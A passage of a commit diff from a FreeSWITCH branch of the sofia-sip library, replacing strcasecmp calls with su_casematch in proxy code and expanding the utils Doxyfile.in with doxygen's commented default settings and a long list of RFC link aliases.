+	su_casematch(v->v_host, v->v_next->v_host) &&
 	str0cmp(v->v_port, v->v_next->v_port) == 0 &&
 	((proto == sip_transport_udp &&
 	  v->v_next->v_protocol == sip_transport_tcp) ||
@@ -861,7 +861,7 @@
     return 0;
 
   for (o = t->proxy->domains; o; o = o->next)
-    if (strcasecmp(host, o->uri->url_host) == 0)
+    if (su_casematch(host, o->uri->url_host))
       break;
 
   t->origin = o;
@@ -1286,7 +1286,7 @@
   sip_via_t *v = sip->sip_via;
 
   if (m && v && v->v_received && m->m_url->url_host
-      && strcasecmp(v->v_received, m->m_url->url_host)
+      && !su_casematch(v->v_received, m->m_url->url_host)
       && host_is_ip_address(m->m_url->url_host))
     return respond_transaction(t, 406, "Unacceptable Contact", TAG_END());
 

Modified: freeswitch/branches/seven/libs/sofia-sip/utils/Doxyfile.in (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/utils/Doxyfile.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/utils/Doxyfile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,4 @@
+# Doxyfile 1.5.7.1
 #
 # Template for Doxyfile.
 # @configure_input@
@@ -5,67 +6,6353 @@
 # Copyright (C) 2006 Nokia Corporation
 # Contact: Pekka Pessi <pekka.pessi@nokia.com>
 # Licensed under LGPL. See file COPYING.
+
+# This file describes the settings to be used by the documentation system
+# doxygen (www.doxygen.org) for a project
 #
+# All text after a hash (#) is considered a comment and will be ignored
+# The format is:
+#       TAG = value [value, ...]
+# For lists items can also be appended using:
+#       TAG += value [value, ...]
+# Values that contain spaces should be placed between quotes (" ")
 
-PROJECT_NAME         = "sofia-sip-utils"
+#---------------------------------------------------------------------------
+# Project related configuration options
+#---------------------------------------------------------------------------
 
-PROJECT_NUMBER       = @VERSION@
+# This tag specifies the encoding used for all characters in the config file 
+# that follow. The default is UTF-8 which is also the encoding used for all 
+# text before the first occurrence of this tag. Doxygen uses libiconv (or the 
+# iconv built into libc) for the transcoding. See 
+# http://www.gnu.org/software/libiconv for the list of possible encodings.
 
-INPUT 		      = @srcdir@/utils.docs
-INPUT 		     += @srcdir@
-INPUT                += @top_srcdir@/libsofia-sip-ua/su/localinfo.c
-INPUT                += @top_srcdir@/libsofia-sip-ua/su/addrinfo.c
-INPUT                += @top_srcdir@/libsofia-sip-ua/stun/stunc.c
+DOXYFILE_ENCODING      = UTF-8
 
-OUTPUT_DIRECTORY     = ../man
+# The PROJECT_NAME tag is a single word (or a sequence of words surrounded 
+# by quotes) that should identify the project.
 
-HTML_OUTPUT          = ../libsofia-sip-ua/docs/html/utils
-GENERATE_TAGFILE     = ../libsofia-sip-ua/docs/utils.doxytags
+PROJECT_NAME           = "sofia-sip-utils"
 
-@INCLUDE_PATH = . @srcdir@
+# The PROJECT_NUMBER tag can be used to enter a project or revision number. 
+# This could be handy for archiving the generated documentation or 
+# if some version control system is used.
 
-@INCLUDE = ../libsofia-sip-ua/docs/Doxyfile.aliases
-@INCLUDE = ../libsofia-sip-ua/docs/Doxyfile.rfc
+PROJECT_NUMBER         = @VERSION@
 
-FILE_PATTERNS        = *.h *.c
+# The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) 
+# base path where the generated documentation will be put. 
+# If a relative path is entered, it will be relative to the location 
+# where doxygen was started. If left blank the current directory will be used.
 
-EXCLUDE_PATTERNS     = acconfig.h config.h confdefs.h \
-			test*.h test*.c torture*.c *test.c *torture.c \
-			*_tag_dll.c *_tag_ref.c
+OUTPUT_DIRECTORY       = ../man
 
-TAGFILES             =
+# If the CREATE_SUBDIRS tag is set to YES, then doxygen will create 
+# 4096 sub-directories (in 2 levels) under the output directory of each output 
+# format and will distribute the generated files over these directories. 
+# Enabling this option can be useful when feeding doxygen a huge amount of 
+# source files, where putting all generated files in the same directory would 
+# otherwise cause performance problems for the file system.
 
-OUTPUT_LANGUAGE      = English
+CREATE_SUBDIRS         = NO
 
-DETAILS_AT_TOP       = YES
-OPTIMIZE_OUTPUT_FOR_C = YES
-SHOW_USED_FILES      = NO
+# The OUTPUT_LANGUAGE tag is used to specify the language in which all 
+# documentation generated by doxygen is written. Doxygen will use this 
+# information to generate all constant output in the proper language. 
+# The default language is English, other supported languages are: 
+# Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, 
+# Croatian, Czech, Danish, Dutch, Farsi, Finnish, French, German, Greek, 
+# Hungarian, Italian, Japanese, Japanese-en (Japanese with English messages), 
+# Korean, Korean-en, Lithuanian, Norwegian, Macedonian, Persian, Polish, 
+# Portuguese, Romanian, Russian, Serbian, Serbian-Cyrilic, Slovak, Slovene, 
+# Spanish, Swedish, and Ukrainian.
 
-QUIET                = YES
-WARNINGS             = YES
-DISABLE_INDEX        = NO
+OUTPUT_LANGUAGE        = English
 
-HAVE_DOT	     = YES
-INCLUDE_GRAPH	     = NO
-INCLUDED_BY_GRAPH    = NO
+# If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will 
+# include brief member descriptions after the members that are listed in 
+# the file and class documentation (similar to JavaDoc). 
+# Set to NO to disable this.
 
-EXTRACT_ALL          = NO
-EXTRACT_PRIVATE      = NO
-HIDE_UNDOC_MEMBERS   = YES
-HIDE_UNDOC_CLASSES   = YES
-HIDE_SCOPE_NAMES     = YES
-BRIEF_MEMBER_DESC    = YES
-REPEAT_BRIEF         = YES
-JAVADOC_AUTOBRIEF    = YES
-MAX_INITIALIZER_LINES = 0
-ENUM_VALUES_PER_LINE = 1
+BRIEF_MEMBER_DESC      = YES
 
-ENABLE_PREPROCESSING = NO
+# If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend 
+# the brief description of a member or function before the detailed description. 
+# Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the 
+# brief descriptions will be completely suppressed.
 
-GENERATE_MAN         = YES
-MAN_OUTPUT           = .
-MAN_EXTENSION        = .1
-MAN_LINKS            = NO
+REPEAT_BRIEF           = YES
 
-GENERATE_HTML        = NO
-GENERATE_LATEX       = NO
+# This tag implements a quasi-intelligent brief description abbreviator 
+# that is used to form the text in various listings. Each string 
+# in this list, if found as the leading text of the brief description, will be 
+# stripped from the text and the result after processing the whole list, is 
+# used as the annotated text. Otherwise, the brief description is used as-is. 
+# If left blank, the following values are used ("$name" is automatically 
+# replaced with the name of the entity): "The $name class" "The $name widget" 
+# "The $name file" "is" "provides" "specifies" "contains" 
+# "represents" "a" "an" "the"
+
+ABBREVIATE_BRIEF       = 
+
+# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then 
+# Doxygen will generate a detailed section even if there is only a brief 
+# description.
+
+ALWAYS_DETAILED_SEC    = NO
+
+# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all 
+# inherited members of a class in the documentation of that class as if those 
+# members were ordinary class members. Constructors, destructors and assignment 
+# operators of the base classes will not be shown.
+
+INLINE_INHERITED_MEMB  = NO
+
+# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full 
+# path before files name in the file list and in the header files. If set 
+# to NO the shortest path that makes the file name unique will be used.
+
+FULL_PATH_NAMES        = YES
+
+# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag 
+# can be used to strip a user-defined part of the path. Stripping is 
+# only done if one of the specified strings matches the left-hand part of 
+# the path. The tag can be used to show relative paths in the file list. 
+# If left blank the directory from which doxygen is run is used as the 
+# path to strip.
+
+STRIP_FROM_PATH        = 
+
+# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of 
+# the path mentioned in the documentation of a class, which tells 
+# the reader which header file to include in order to use a class. 
+# If left blank only the name of the header file containing the class 
+# definition is used. Otherwise one should specify the include paths that 
+# are normally passed to the compiler using the -I flag.
+
+STRIP_FROM_INC_PATH    = 
+
+# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter 
+# (but less readable) file names. This can be useful is your file systems 
+# doesn't support long names like on DOS, Mac, or CD-ROM.
+
+SHORT_NAMES            = NO
+
+# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen 
+# will interpret the first line (until the first dot) of a JavaDoc-style 
+# comment as the brief description. If set to NO, the JavaDoc 
+# comments will behave just like regular Qt-style comments 
+# (thus requiring an explicit @brief command for a brief description.)
+
+JAVADOC_AUTOBRIEF      = YES
+
+# If the QT_AUTOBRIEF tag is set to YES then Doxygen will 
+# interpret the first line (until the first dot) of a Qt-style 
+# comment as the brief description. If set to NO, the comments 
+# will behave just like regular Qt-style comments (thus requiring 
+# an explicit \brief command for a brief description.)
+
+QT_AUTOBRIEF           = NO
+
+# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen 
+# treat a multi-line C++ special comment block (i.e. a block of //! or /// 
+# comments) as a brief description. This used to be the default behaviour. 
+# The new default is to treat a multi-line C++ comment block as a detailed 
+# description. Set this tag to YES if you prefer the old behaviour instead.
+
+MULTILINE_CPP_IS_BRIEF = NO
+
+# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented 
+# member inherits the documentation from any documented member that it 
+# re-implements.
+
+INHERIT_DOCS           = YES
+
+# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce 
+# a new page for each member. If set to NO, the documentation of a member will 
+# be part of the file/class/namespace that contains it.
+
+SEPARATE_MEMBER_PAGES  = NO
+
+# The TAB_SIZE tag can be used to set the number of spaces in a tab. 
+# Doxygen uses this value to replace tabs by spaces in code fragments.
+
+TAB_SIZE               = 8
+
+# This tag can be used to specify a number of aliases that acts 
+# as commands in the documentation. An alias has the form "name=value". 
+# For example adding "sideeffect=\par Side Effects:\n" will allow you to 
+# put the command \sideeffect (or @sideeffect) in the documentation, which 
+# will result in a user-defined paragraph with heading "Side Effects:". 
+# You can put \n's in the value part of an alias to insert newlines.
+
+ALIASES                = "MODULEPAGE=\mainpage Sofia SIP User Agent Library - " \
+                         "CONTACT=\par Contact:\n" \
+                         "STATUS=\par Status:\n" \
+                         "LICENSE=\par License:\n" \
+                         "SofiaSIP=<a href=\"../index.html\">Sofia SIP</a>" \
+                         "SU=@ref su_index \"SU\"" \
+                         "su=@ref su_index \"su\"" \
+                         "msg=@ref msg_index \"msg\"" \
+                         "sip=@ref sip_index \"sip\"" \
+                         "nua=@ref nua_index \"nua\"" \
+                         "nta=@ref nta_index \"nta\"" \
+                         "soa=@ref soa_index \"soa\"" \
+                         "DEF=\def" \
+                         "TAGS=\par Related Tags:" \
+                         "TAG=\par \n" \
+                         "EVENTS=\par Events:\n" \
+                         "RESPONSES=\par Related Response Codes:\n" \
+                         "CFILE=\internal \file" \
+                         "IFILE=\file" \
+                         "HI=\hideinitializer " \
+                         "HIDE=\hideinitializer " \
+                         "SHOW=\showinitializer " \
+                         "LGPL2=\par Lesser GNU Public License Version 2:\n \ref lgpl2\n \if 0\n" \
+                         "ENDLGPL2=\endif \n" \
+                         "GPL2=\par GNU Public License Version 2:\n \ref gpl2\n \if 0\n" \
+                         "ENDGPL2=\endif \n" \
+                         "ERRORS=\par Errors: " \
+                         "ERROR=\par \n \b " \
+                         "NEW_1_12_2=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.2.txt\">1.12.2</a>" \
+                         "VERSION_1_12_2=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.2.txt\">1.12.2</a>" \
+                         "NEW_1_12_4=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.4.txt\">1.12.4</a>" \
+                         "VERSION_1_12_4=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.4.txt\">1.12.4</a>" \
+                         "VERSION_1_12_5=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.5.txt\">1.12.5</a>" \
+                         "NEW_1_12_5=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.5.txt\">1.12.5</a>" \
+                         "EXP_1_12_5=@since Experimental in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.5.txt\">1.12.5</a>, available if --enable-experimental configuration option is given" \
+                         "VERSION_1_12_6=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.6.txt\">1.12.6</a>" \
+                         "NEW_1_12_6=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.6.txt\">1.12.6</a>" \
+                         "EXP_1_12_6=@since Experimental in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.6.txt\">1.12.6</a>, available if --enable-experimental configuration option is given" \
+                         "VERSION_1_12_7=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.7.txt\">1.12.7</a>" \
+                         "NEW_1_12_7=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.7.txt\">1.12.7</a>" \
+                         "EXP_1_12_7=@since Experimental in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.7.txt\">1.12.7</a>, available if --enable-experimental configuration option is given" \
+                         "VERSION_1_12_8=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.8.txt\">1.12.8</a>" \
+                         "NEW_1_12_8=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.8.txt\">1.12.8</a>" \
+                         "VERSION_1_12_9=<a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.9.txt\">1.12.9</a>" \
+                         "NEW_1_12_9=@since New in <a href=\"http://sofia-sip.sf.net/relnotes/relnotes-sofia-sip-1.12.9.txt\">1.12.9</a>" \
+                         "RFC700=<a href=\"http://www.faqs.org/rfcs/rfc700.html\">RFC 700</a>" \
+                         "RFC701=<a href=\"http://www.faqs.org/rfcs/rfc701.html\">RFC 701</a>" \
+                         "RFC702=<a href=\"http://www.faqs.org/rfcs/rfc702.html\">RFC 702</a>" \
+                         "RFC703=<a href=\"http://www.faqs.org/rfcs/rfc703.html\">RFC 703</a>" \
+                         "RFC704=<a href=\"http://www.faqs.org/rfcs/rfc704.html\">RFC 704</a>" \
+                         "RFC705=<a href=\"http://www.faqs.org/rfcs/rfc705.html\">RFC 705</a>" \
+                         "RFC706=<a href=\"http://www.faqs.org/rfcs/rfc706.html\">RFC 706</a>" \
+                         "RFC707=<a href=\"http://www.faqs.org/rfcs/rfc707.html\">RFC 707</a>" \
+                         "RFC708=<a href=\"http://www.faqs.org/rfcs/rfc708.html\">RFC 708</a>" \
+                         "RFC709=<a href=\"http://www.faqs.org/rfcs/rfc709.html\">RFC 709</a>" \
+                         "RFC710=<a href=\"http://www.faqs.org/rfcs/rfc710.html\">RFC 710</a>" \
+                         "RFC711=<a href=\"http://www.faqs.org/rfcs/rfc711.html\">RFC 711</a>" \
+                         "RFC712=<a href=\"http://www.faqs.org/rfcs/rfc712.html\">RFC 712</a>" \
+                         "RFC713=<a href=\"http://www.faqs.org/rfcs/rfc713.html\">RFC 713</a>" \
+                         "RFC714=<a href=\"http://www.faqs.org/rfcs/rfc714.html\">RFC 714</a>" \
+                         "RFC715=<a href=\"http://www.faqs.org/rfcs/rfc715.html\">RFC 715</a>" \
+                         "RFC716=<a href=\"http://www.faqs.org/rfcs/rfc716.html\">RFC 716</a>" \
+                         "RFC717=<a href=\"http://www.faqs.org/rfcs/rfc717.html\">RFC 717</a>" \
+                         "RFC718=<a href=\"http://www.faqs.org/rfcs/rfc718.html\">RFC 718</a>" \
+                         "RFC719=<a href=\"http://www.faqs.org/rfcs/rfc719.html\">RFC 719</a>" \
+                         "RFC720=<a href=\"http://www.faqs.org/rfcs/rfc720.html\">RFC 720</a>" \
+                         "RFC721=<a href=\"http://www.faqs.org/rfcs/rfc721.html\">RFC 721</a>" \
+                         "RFC722=<a href=\"http://www.faqs.org/rfcs/rfc722.html\">RFC 722</a>" \
+                         "RFC723=<a href=\"http://www.faqs.org/rfcs/rfc723.html\">RFC 723</a>" \
+                         "RFC724=<a href=\"http://www.faqs.org/rfcs/rfc724.html\">RFC 724</a>" \
+                         "RFC725=<a href=\"http://www.faqs.org/rfcs/rfc725.html\">RFC 725</a>" \
+                         "RFC726=<a href=\"http://www.faqs.org/rfcs/rfc726.html\">RFC 726</a>" \
+                         "RFC727=<a href=\"http://www.faqs.org/rfcs/rfc727.html\">RFC 727</a>" \
+                         "RFC728=<a href=\"http://www.faqs.org/rfcs/rfc728.html\">RFC 728</a>" \
+                         "RFC729=<a href=\"http://www.faqs.org/rfcs/rfc729.html\">RFC 729</a>" \
+                         "RFC730=<a href=\"http://www.faqs.org/rfcs/rfc730.html\">RFC 730</a>" \
+                         "RFC731=<a href=\"http://www.faqs.org/rfcs/rfc731.html\">RFC 731</a>" \
+                         "RFC732=<a href=\"http://www.faqs.org/rfcs/rfc732.html\">RFC 732</a>" \
+                         "RFC733=<a href=\"http://www.faqs.org/rfcs/rfc733.html\">RFC 733</a>" \
+                         "RFC734=<a href=\"http://www.faqs.org/rfcs/rfc734.html\">RFC 734</a>" \
+                         "RFC735=<a href=\"http://www.faqs.org/rfcs/rfc735.html\">RFC 735</a>" \
+                         "RFC736=<a href=\"http://www.faqs.org/rfcs/rfc736.html\">RFC 736</a>" \
+                         "RFC737=<a href=\"http://www.faqs.org/rfcs/rfc737.html\">RFC 737</a>" \
+                         "RFC738=<a href=\"http://www.faqs.org/rfcs/rfc738.html\">RFC 738</a>" \
+                         "RFC739=<a href=\"http://www.faqs.org/rfcs/rfc739.html\">RFC 739</a>" \
+                         "RFC740=<a href=\"http://www.faqs.org/rfcs/rfc740.html\">RFC 740</a>" \
+                         "RFC741=<a href=\"http://www.faqs.org/rfcs/rfc741.html\">RFC 741</a>" \
+                         "RFC742=<a href=\"http://www.faqs.org/rfcs/rfc742.html\">RFC 742</a>" \
+                         "RFC743=<a href=\"http://www.faqs.org/rfcs/rfc743.html\">RFC 743</a>" \
+                         "RFC744=<a href=\"http://www.faqs.org/rfcs/rfc744.html\">RFC 744</a>" \
+                         "RFC745=<a href=\"http://www.faqs.org/rfcs/rfc745.html\">RFC 745</a>" \
+                         "RFC746=<a href=\"http://www.faqs.org/rfcs/rfc746.html\">RFC 746</a>" \
+                         "RFC747=<a href=\"http://www.faqs.org/rfcs/rfc747.html\">RFC 747</a>" \
+                         "RFC748=<a href=\"http://www.faqs.org/rfcs/rfc748.html\">RFC 748</a>" \
+                         "RFC749=<a href=\"http://www.faqs.org/rfcs/rfc749.html\">RFC 749</a>" \
+                         "RFC750=<a href=\"http://www.faqs.org/rfcs/rfc750.html\">RFC 750</a>" \
+                         "RFC751=<a href=\"http://www.faqs.org/rfcs/rfc751.html\">RFC 751</a>" \
+                         "RFC752=<a href=\"http://www.faqs.org/rfcs/rfc752.html\">RFC 752</a>" \
+                         "RFC753=<a href=\"http://www.faqs.org/rfcs/rfc753.html\">RFC 753</a>" \
+                         "RFC754=<a href=\"http://www.faqs.org/rfcs/rfc754.html\">RFC 754</a>" \
+                         "RFC755=<a href=\"http://www.faqs.org/rfcs/rfc755.html\">RFC 755</a>" \
+                         "RFC756=<a href=\"http://www.faqs.org/rfcs/rfc756.html\">RFC 756</a>" \
+                         "RFC757=<a href=\"http://www.faqs.org/rfcs/rfc757.html\">RFC 757</a>" \
+                         "RFC758=<a href=\"http://www.faqs.org/rfcs/rfc758.html\">RFC 758</a>" \
+                         "RFC759=<a href=\"http://www.faqs.org/rfcs/rfc759.html\">RFC 759</a>" \
+                         "RFC760=<a href=\"http://www.faqs.org/rfcs/rfc760.html\">RFC 760</a>" \
+                         "RFC761=<a href=\"http://www.faqs.org/rfcs/rfc761.html\">RFC 761</a>" \
+                         "RFC762=<a href=\"http://www.faqs.org/rfcs/rfc762.html\">RFC 762</a>" \
+                         "RFC763=<a href=\"http://www.faqs.org/rfcs/rfc763.html\">RFC 763</a>" \
+                         "RFC764=<a href=\"http://www.faqs.org/rfcs/rfc764.html\">RFC 764</a>" \
+                         "RFC765=<a href=\"http://www.faqs.org/rfcs/rfc765.html\">RFC 765</a>" \
+                         "RFC766=<a href=\"http://www.faqs.org/rfcs/rfc766.html\">RFC 766</a>" \
+                         "RFC767=<a href=\"http://www.faqs.org/rfcs/rfc767.html\">RFC 767</a>" \
+                         "RFC768=<a href=\"http://www.faqs.org/rfcs/rfc768.html\">RFC 768</a>" \
+                         "RFC769=<a href=\"http://www.faqs.org/rfcs/rfc769.html\">RFC 769</a>" \
+                         "RFC770=<a href=\"http://www.faqs.org/rfcs/rfc770.html\">RFC 770</a>" \
+                         "RFC771=<a href=\"http://www.faqs.org/rfcs/rfc771.html\">RFC 771</a>" \
+                         "RFC772=<a href=\"http://www.faqs.org/rfcs/rfc772.html\">RFC 772</a>" \
+                         "RFC773=<a href=\"http://www.faqs.org/rfcs/rfc773.html\">RFC 773</a>" \
+                         "RFC774=<a href=\"http://www.faqs.org/rfcs/rfc774.html\">RFC 774</a>" \
+                         "RFC775=<a href=\"http://www.faqs.org/rfcs/rfc775.html\">RFC 775</a>" \
+                         "RFC776=<a href=\"http://www.faqs.org/rfcs/rfc776.html\">RFC 776</a>" \
+                         "RFC777=<a href=\"http://www.faqs.org/rfcs/rfc777.html\">RFC 777</a>" \
+                         "RFC778=<a href=\"http://www.faqs.org/rfcs/rfc778.html\">RFC 778</a>" \
+                         "RFC779=<a href=\"http://www.faqs.org/rfcs/rfc779.html\">RFC 779</a>" \
+                         "RFC780=<a href=\"http://www.faqs.org/rfcs/rfc780.html\">RFC 780</a>" \
+                         "RFC781=<a href=\"http://www.faqs.org/rfcs/rfc781.html\">RFC 781</a>" \
+                         "RFC782=<a href=\"http://www.faqs.org/rfcs/rfc782.html\">RFC 782</a>" \
+                         "RFC783=<a href=\"http://www.faqs.org/rfcs/rfc783.html\">RFC 783</a>" \
+                         "RFC784=<a href=\"http://www.faqs.org/rfcs/rfc784.html\">RFC 784</a>" \
+                         "RFC785=<a href=\"http://www.faqs.org/rfcs/rfc785.html\">RFC 785</a>" \
+                         "RFC786=<a href=\"http://www.faqs.org/rfcs/rfc786.html\">RFC 786</a>" \
+                         "RFC787=<a href=\"http://www.faqs.org/rfcs/rfc787.html\">RFC 787</a>" \
+                         "RFC788=<a href=\"http://www.faqs.org/rfcs/rfc788.html\">RFC 788</a>" \
+                         "RFC789=<a href=\"http://www.faqs.org/rfcs/rfc789.html\">RFC 789</a>" \
+                         "RFC790=<a href=\"http://www.faqs.org/rfcs/rfc790.html\">RFC 790</a>" \
+                         "RFC791=<a href=\"http://www.faqs.org/rfcs/rfc791.html\">RFC 791</a>" \
+                         "RFC792=<a href=\"http://www.faqs.org/rfcs/rfc792.html\">RFC 792</a>" \
+                         "RFC793=<a href=\"http://www.faqs.org/rfcs/rfc793.html\">RFC 793</a>" \
+                         "RFC794=<a href=\"http://www.faqs.org/rfcs/rfc794.html\">RFC 794</a>" \
+                         "RFC795=<a href=\"http://www.faqs.org/rfcs/rfc795.html\">RFC 795</a>" \
+                         "RFC796=<a href=\"http://www.faqs.org/rfcs/rfc796.html\">RFC 796</a>" \
+                         "RFC797=<a href=\"http://www.faqs.org/rfcs/rfc797.html\">RFC 797</a>" \
+                         "RFC798=<a href=\"http://www.faqs.org/rfcs/rfc798.html\">RFC 798</a>" \
+                         "RFC799=<a href=\"http://www.faqs.org/rfcs/rfc799.html\">RFC 799</a>" \
+                         "RFC800=<a href=\"http://www.faqs.org/rfcs/rfc800.html\">RFC 800</a>" \
+                         "RFC801=<a href=\"http://www.faqs.org/rfcs/rfc801.html\">RFC 801</a>" \
+                         "RFC802=<a href=\"http://www.faqs.org/rfcs/rfc802.html\">RFC 802</a>" \
+                         "RFC803=<a href=\"http://www.faqs.org/rfcs/rfc803.html\">RFC 803</a>" \
+                         "RFC804=<a href=\"http://www.faqs.org/rfcs/rfc804.html\">RFC 804</a>" \
+                         "RFC805=<a href=\"http://www.faqs.org/rfcs/rfc805.html\">RFC 805</a>" \
+                         "RFC806=<a href=\"http://www.faqs.org/rfcs/rfc806.html\">RFC 806</a>" \
+                         "RFC807=<a href=\"http://www.faqs.org/rfcs/rfc807.html\">RFC 807</a>" \
+                         "RFC808=<a href=\"http://www.faqs.org/rfcs/rfc808.html\">RFC 808</a>" \
+                         "RFC809=<a href=\"http://www.faqs.org/rfcs/rfc809.html\">RFC 809</a>" \
+                         "RFC810=<a href=\"http://www.faqs.org/rfcs/rfc810.html\">RFC 810</a>" \
+                         "RFC811=<a href=\"http://www.faqs.org/rfcs/rfc811.html\">RFC 811</a>" \
+                         "RFC812=<a href=\"http://www.faqs.org/rfcs/rfc812.html\">RFC 812</a>" \
+                         "RFC813=<a href=\"http://www.faqs.org/rfcs/rfc813.html\">RFC 813</a>" \
+                         "RFC814=<a href=\"http://www.faqs.org/rfcs/rfc814.html\">RFC 814</a>" \
+                         "RFC815=<a href=\"http://www.faqs.org/rfcs/rfc815.html\">RFC 815</a>" \
+                         "RFC816=<a href=\"http://www.faqs.org/rfcs/rfc816.html\">RFC 816</a>" \
+                         "RFC817=<a href=\"http://www.faqs.org/rfcs/rfc817.html\">RFC 817</a>" \
+                         "RFC818=<a href=\"http://www.faqs.org/rfcs/rfc818.html\">RFC 818</a>" \
+                         "RFC819=<a href=\"http://www.faqs.org/rfcs/rfc819.html\">RFC 819</a>" \
+                         "RFC820=<a href=\"http://www.faqs.org/rfcs/rfc820.html\">RFC 820</a>" \
+                         "RFC821=<a href=\"http://www.faqs.org/rfcs/rfc821.html\">RFC 821</a>" \
+                         "RFC822=<a href=\"http://www.faqs.org/rfcs/rfc822.html\">RFC 822</a>" \
+                         "RFC823=<a href=\"http://www.faqs.org/rfcs/rfc823.html\">RFC 823</a>" \
+                         "RFC824=<a href=\"http://www.faqs.org/rfcs/rfc824.html\">RFC 824</a>" \
+                         "RFC825=<a href=\"http://www.faqs.org/rfcs/rfc825.html\">RFC 825</a>" \
+                         "RFC826=<a href=\"http://www.faqs.org/rfcs/rfc826.html\">RFC 826</a>" \
+                         "RFC827=<a href=\"http://www.faqs.org/rfcs/rfc827.html\">RFC 827</a>" \
+                         "RFC828=<a href=\"http://www.faqs.org/rfcs/rfc828.html\">RFC 828</a>" \
+                         "RFC829=<a href=\"http://www.faqs.org/rfcs/rfc829.html\">RFC 829</a>" \
+                         "RFC830=<a href=\"http://www.faqs.org/rfcs/rfc830.html\">RFC 830</a>" \
+                         "RFC831=<a href=\"http://www.faqs.org/rfcs/rfc831.html\">RFC 831</a>" \
+                         "RFC832=<a href=\"http://www.faqs.org/rfcs/rfc832.html\">RFC 832</a>" \
+                         "RFC833=<a href=\"http://www.faqs.org/rfcs/rfc833.html\">RFC 833</a>" \
+                         "RFC834=<a href=\"http://www.faqs.org/rfcs/rfc834.html\">RFC 834</a>" \
+                         "RFC835=<a href=\"http://www.faqs.org/rfcs/rfc835.html\">RFC 835</a>" \
+                         "RFC836=<a href=\"http://www.faqs.org/rfcs/rfc836.html\">RFC 836</a>" \
+                         "RFC837=<a href=\"http://www.faqs.org/rfcs/rfc837.html\">RFC 837</a>" \
+                         "RFC838=<a href=\"http://www.faqs.org/rfcs/rfc838.html\">RFC 838</a>" \
+                         "RFC839=<a href=\"http://www.faqs.org/rfcs/rfc839.html\">RFC 839</a>" \
+                         "RFC840=<a href=\"http://www.faqs.org/rfcs/rfc840.html\">RFC 840</a>" \
+                         "RFC841=<a href=\"http://www.faqs.org/rfcs/rfc841.html\">RFC 841</a>" \
+                         "RFC842=<a href=\"http://www.faqs.org/rfcs/rfc842.html\">RFC 842</a>" \
+                         "RFC843=<a href=\"http://www.faqs.org/rfcs/rfc843.html\">RFC 843</a>" \
+                         "RFC844=<a href=\"http://www.faqs.org/rfcs/rfc844.html\">RFC 844</a>" \
+                         "RFC845=<a href=\"http://www.faqs.org/rfcs/rfc845.html\">RFC 845</a>" \
+                         "RFC846=<a href=\"http://www.faqs.org/rfcs/rfc846.html\">RFC 846</a>" \
+                         "RFC847=<a href=\"http://www.faqs.org/rfcs/rfc847.html\">RFC 847</a>" \
+                         "RFC848=<a href=\"http://www.faqs.org/rfcs/rfc848.html\">RFC 848</a>" \
+                         "RFC849=<a href=\"http://www.faqs.org/rfcs/rfc849.html\">RFC 849</a>" \
+                         "RFC850=<a href=\"http://www.faqs.org/rfcs/rfc850.html\">RFC 850</a>" \
+                         "RFC851=<a href=\"http://www.faqs.org/rfcs/rfc851.html\">RFC 851</a>" \
+                         "RFC852=<a href=\"http://www.faqs.org/rfcs/rfc852.html\">RFC 852</a>" \
+                         "RFC853=<a href=\"http://www.faqs.org/rfcs/rfc853.html\">RFC 853</a>" \
+                         "RFC854=<a href=\"http://www.faqs.org/rfcs/rfc854.html\">RFC 854</a>" \
+                         "RFC855=<a href=\"http://www.faqs.org/rfcs/rfc855.html\">RFC 855</a>" \
+                         "RFC856=<a href=\"http://www.faqs.org/rfcs/rfc856.html\">RFC 856</a>" \
+                         "RFC857=<a href=\"http://www.faqs.org/rfcs/rfc857.html\">RFC 857</a>" \
+                         "RFC858=<a href=\"http://www.faqs.org/rfcs/rfc858.html\">RFC 858</a>" \
+                         "RFC859=<a href=\"http://www.faqs.org/rfcs/rfc859.html\">RFC 859</a>" \
+                         "RFC860=<a href=\"http://www.faqs.org/rfcs/rfc860.html\">RFC 860</a>" \
+                         "RFC861=<a href=\"http://www.faqs.org/rfcs/rfc861.html\">RFC 861</a>" \
+                         "RFC862=<a href=\"http://www.faqs.org/rfcs/rfc862.html\">RFC 862</a>" \
+                         "RFC863=<a href=\"http://www.faqs.org/rfcs/rfc863.html\">RFC 863</a>" \
